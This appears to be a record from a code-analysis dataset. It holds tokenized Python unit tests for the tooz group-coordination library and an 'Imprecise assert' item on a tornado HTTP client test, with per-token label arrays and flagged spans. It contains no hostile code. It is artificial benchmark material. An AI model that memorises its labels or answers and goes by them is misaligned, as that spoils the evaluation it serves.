"\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "coord_", "._", "create", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "group", "\\u", "ids_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "groups_", "(_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "group", "\\u", "id_", "in_", "all", "\\u", "group", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "join", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "member", "\\u", "list_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "members_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "member", "\\u", "id_", "in_", "member", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "member", "\\u", "ids_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "members_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "member", "\\u", "id_", "in_", "member", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "lea", "ve", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "member", "\\u", "objects_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "members_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "member", "\\u", "list_", "=_", "[_", "member_", "._", "member", "\\u", "id_", "for_", "member_", "in_", "new", "\\u", "member", "\\u", "objects_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "member", "\\u", "id_", "not_", "in_", "new", "\\u", "member", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "tests", "cen", "ario", "s_", "._", "Test", "With", "Scen", "ario", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tests_", "._", "Test", "Case", "Ski", "p", "Not", "Implemented_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lea", "ve", "\\u", "nonexist", "ent", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "all", "\\u", "group", "\\u", "ids_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "groups_", "(_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "group", "\\u", "id_", "not_", "in_", "all", "\\u", "group", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lea", "ve", "\\u", "group_", "=_", "self_", "._", "\\u", "coord_", "._", "lea", "ve", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Drive", "rs", " ", "raise", " ", "one", " ", "of", " ", "tho", "se", " ", "depend", "ing", " ", "on", " ", "thei", "r", " ", "capability_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Rai", "ses", "Any_", "(_", "[_", "too", "z_", "._", "coordin", "ation_", "._", "Mem", "ber", "Not", "Join", "ed_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "too", "z_", "._", "coordin", "ation_", "._", "Group", "Not", "Created_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lea", "ve", "\\u", "group_", "._", "get_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "tests", "cen", "ario", "s_", "._", "Test", "With", "Scen", "ario", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tests_", "._", "Test", "Case", "Ski", "p", "Not", "Implemented_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lea", "ve", "\\u", "group", "\\u", "not", "\\u", "joine", "d\\u", "by", "\\u", "member_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "coord_", "._", "create", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "group", "\\u", "ids_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "groups_", "(_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "group", "\\u", "id_", "in_", "all", "\\u", "group", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lea", "ve", "\\u", "group_", "=_", "self_", "._", "\\u", "coord_", "._", "lea", "ve", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "too", "z_", "._", "coordin", "ation_", "._", "Mem", "ber", "Not", "Join", "ed_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lea", "ve", "\\u", "group_", "._", "get_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "tests", "cen", "ario", "s_", "._", "Test", "With", "Scen", "ario", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tests_", "._", "Test", "Case", "Ski", "p", "Not", "Implemented_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "members_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "group", "\\u", "id", "\\u", "test2_", "=_", "self_", "._", "\\u", "get", "\\u", "random", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "member", "\\u", "id", "\\u", "test2_", "=_", "self_", "._", "\\u", "get", "\\u", "random", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "2_", "=_", "too", "z_", "._", "coordin", "ation_", "._", "get", "\\u", "coordinator", "_", "(_", "self_", "._", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "member", "\\u", "id", "\\u", "test2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "2_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "create", "\\u", "group_", "(_", "group", "\\u", "id", "\\u", "test2_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "join", "\\u", "group_", "(_", "group", "\\u", "id", "\\u", "test2_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "2_", "._", "join", "\\u", "group_", "(_", "group", "\\u", "id", "\\u", "test2_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "member", "s", "\\u", "ids_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "members_", "(_", "group", "\\u", "id", "\\u", "test2_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "member", "\\u", "id_", "in_", "member", "s", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "member", "\\u", "id", "\\u", "test2_", "in_", "member", "s", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "tests", "cen", "ario", "s_", "._", "Test", "With", "Scen", "ario", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tests_", "._", "Test", "Case", "Ski", "p", "Not", "Implemented_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "discon", "nect", "\\u", "lea", "ve", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "member", "\\u", "id", "\\u", "test2_", "=_", "self_", "._", "\\u", "get", "\\u", "random", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "2_", "=_", "too", "z_", "._", "coordin", "ation_", "._", "get", "\\u", "coordinator", "_", "(_", "self_", "._", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "member", "\\u", "id", "\\u", "test2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "2_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "create", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "join", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "2_", "._", "join", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "member", "s", "\\u", "ids_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "members_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "member", "\\u", "id_", "in_", "member", "s", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "member", "\\u", "id", "\\u", "test2_", "in_", "member", "s", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "2_", "._", "stop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "member", "s", "\\u", "ids_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "members_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "member", "\\u", "id_", "in_", "member", "s", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "member", "\\u", "id", "\\u", "test2_", "not_", "in_", "member", "s", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "tests", "cen", "ario", "s_", "._", "Test", "With", "Scen", "ario", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tests_", "._", "Test", "Case", "Ski", "p", "Not", "Implemented_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "timeout_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "getattr_", "(_", "self_", ",_", "\"", "timeo", "ut", "\\u", "capable", "\"_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "skip", "Test_", "(_", "\"", "Thi", "s", " ", "test", " ", "only", " ", "works", " ", "with", " ", "timeo", "ut", " ", "capable", " ", "driver", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "member", "\\u", "id", "\\u", "test2_", "=_", "self_", "._", "\\u", "get", "\\u", "random", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "2_", "=_", "too", "z_", "._", "coordin", "ation_", "._", "get", "\\u", "coordinator", "_", "(_", "self_", "._", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "member", "\\u", "id", "\\u", "test2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "2_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "create", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "join", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "2_", "._", "join", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "member", "s", "\\u", "ids_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "members_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "member", "\\u", "id_", "in_", "member", "s", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "member", "\\u", "id", "\\u", "test2_", "in_", "member", "s", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Watch", " ", "the", " ", "group", ",", " ", "we", " ", "want", " ", "to", " ", "be", " ", "sure", " ", "tha", "t", " ", "whe", "n", " ", "client", "2", " ", "is", " ", "kick", "ed", " ", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "get", " ", "an", " ", "event", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "watch", "\\u", "lea", "ve", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ",_", "self_", "._", "\\u", "set\\u", "event_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "heartbeat_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", " ", "client", "2", " ", "has", " ", "timed", " ", "out", "!", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "member", "s", "\\u", "ids_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "members_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "coord_", "._", "run", "\\u", "watcher", "s_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "member", "\\u", "id_", "in_", "member", "s", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "member", "\\u", "id", "\\u", "test2_", "not_", "in_", "member", "s", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Check", " ", "tha", "t", " ", "the", " ", "event", " ", "has", " ", "bee", "n", " ", "triggered_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "self_", "._", "event_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "too", "z_", "._", "coordin", "ation_", "._", "Mem", "ber", "Le", "ft", "Group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "member", "\\u", "id", "\\u", "test2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "event_", "._", "member", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "group", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "event_", "._", "group", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "tests", "cen", "ario", "s_", "._", "Test", "With", "Scen", "ario", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tests_", "._", "Test", "Case", "Ski", "p", "Not", "Implemented_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "watch", "\\u", "group", "\\u", "join_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "member", "\\u", "id", "\\u", "test2_", "=_", "self_", "._", "\\u", "get", "\\u", "random", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "2_", "=_", "too", "z_", "._", "coordin", "ation_", "._", "get", "\\u", "coordinator", "_", "(_", "self_", "._", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "member", "\\u", "id", "\\u", "test2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "2_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "create", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Watch", " ", "the", " ", "group_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "watch", "\\u", "join", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ",_", "self_", "._", "\\u", "set\\u", "event_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Join", " ", "the", " ", "group_", "\\u\\u\\uNL\\u\\u\\u_", "client", "2_", "._", "join", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "member", "s", "\\u", "ids_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "members_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "member", "\\u", "id", "\\u", "test2_", "in_", "member", "s", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "coord_", "._", "run", "\\u", "watcher", "s_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "self_", "._", "event_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "too", "z_", "._", "coordin", "ation_", "._", "Mem", "ber", "Join", "ed", "Group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "member", "\\u", "id", "\\u", "test2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "event_", "._", "member", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "group", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "event_", "._", "group", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sto", "p", " ", "watch", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "unwa", "tch", "\\u", "join", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ",_", "self_", "._", "\\u", "set\\u", "event_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "event_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Leav", "e", " ", "and", " ", "rej", "oin", " ", "group_", "\\u\\u\\uNL\\u\\u\\u_", "client", "2_", "._", "lea", "ve", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "2_", "._", "join", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "run", "\\u", "watcher", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "self_", "._", "event_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
RobotWebTools/rosbridge_suite/rosbridge_server/src/tornado/test/simple_httpclient_test.py
[ { "content": " def test_singleton(self):\n # Class \"constructor\" reuses objects on the same IOLoop\n self.assertTrue(SimpleAsyncHTTPClient(self.io_loop) is\n SimpleAsyncHTTPClient(self.io_loop))\n # unless force_instance is used\n self.assertTrue(SimpleAsyncHTTPClient(self.io_loop) is not\n SimpleAsyncHTTPClient(self.io_loop,\n force_instance=True))\n # different IOLoops use different objects\n with closing(IOLoop()) as io_loop2:\n self.assertTrue(SimpleAsyncHTTPClient(self.io_loop) is not\n SimpleAsyncHTTPClient(io_loop2))", "metadata": "root.SimpleHTTPClientTestMixin.test_singleton", "header": "['class', 'SimpleHTTPClientTestMixin', '(', 'object', ')', ':', '___EOS___']", "index": 145 } ]
[ { "span": "self.assertTrue(SimpleAsyncHTTPClient(self.io_loop) is\n SimpleAsyncHTTPClient(self.io_loop))", "start_line": 147, "start_column": 8, "end_line": 148, "end_column": 60 }, { "span": "self.assertTrue(SimpleAsyncHTTPClient(self.io_loop) is not\n SimpleAsyncHTTPClient(self.io_loop,\n force_instance=True))", "start_line": 150, "start_column": 8, "end_line": 152, "end_column": 67 }, { "span": "self.assertTrue(SimpleAsyncHTTPClient(self.io_loop) is not\n SimpleAsyncHTTPClient(io_loop2))", "start_line": 155, "start_column": 12, "end_line": 156, "end_column": 60 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Simple", "HTTP", "Client", "Test", "Mixin_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "singleton_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Class", " ", "\"", "construct", "or", "\"", " ", "reus", "es", " ", "object", "s", " ", "on", " ", "the", " ", "same", " ", "IO", "Loop_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "Simple", "Async", "HTTP", "Client_", "(_", "self_", "._", "io", "\\u", "loop_", ")_", "is_", "\\u\\u\\uNL\\u\\u\\u_", "Simple", "Async", "HTTP", "Client_", "(_", "self_", "._", "io", "\\u", "loop_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "unl", "ess", " ", "force", "\\u", "instance", " ", "is", " ", "used_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "Simple", "Async", "HTTP", "Client_", "(_", "self_", "._", "io", "\\u", "loop_", ")_", "is_", "not_", "\\u\\u\\uNL\\u\\u\\u_", "Simple", "Async", "HTTP", "Client_", "(_", "self_", "._", "io", "\\u", "loop_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "force", "\\u", "instance_", "=_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "different", " ", "IO", "Loop", "s", " ", "use", " ", "different", " ", "objects_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "closing_", "(_", "IO", "Loop_", "(_", ")_", ")_", "as_", "io", "\\u", "loop", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "Simple", "Async", "HTTP", "Client_", "(_", "self_", "._", "io", "\\u", "loop_", ")_", "is_", "not_", "\\u\\u\\uNL\\u\\u\\u_", "Simple", "Async", "HTTP", "Client_", "(_", "io", "\\u", "loop", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
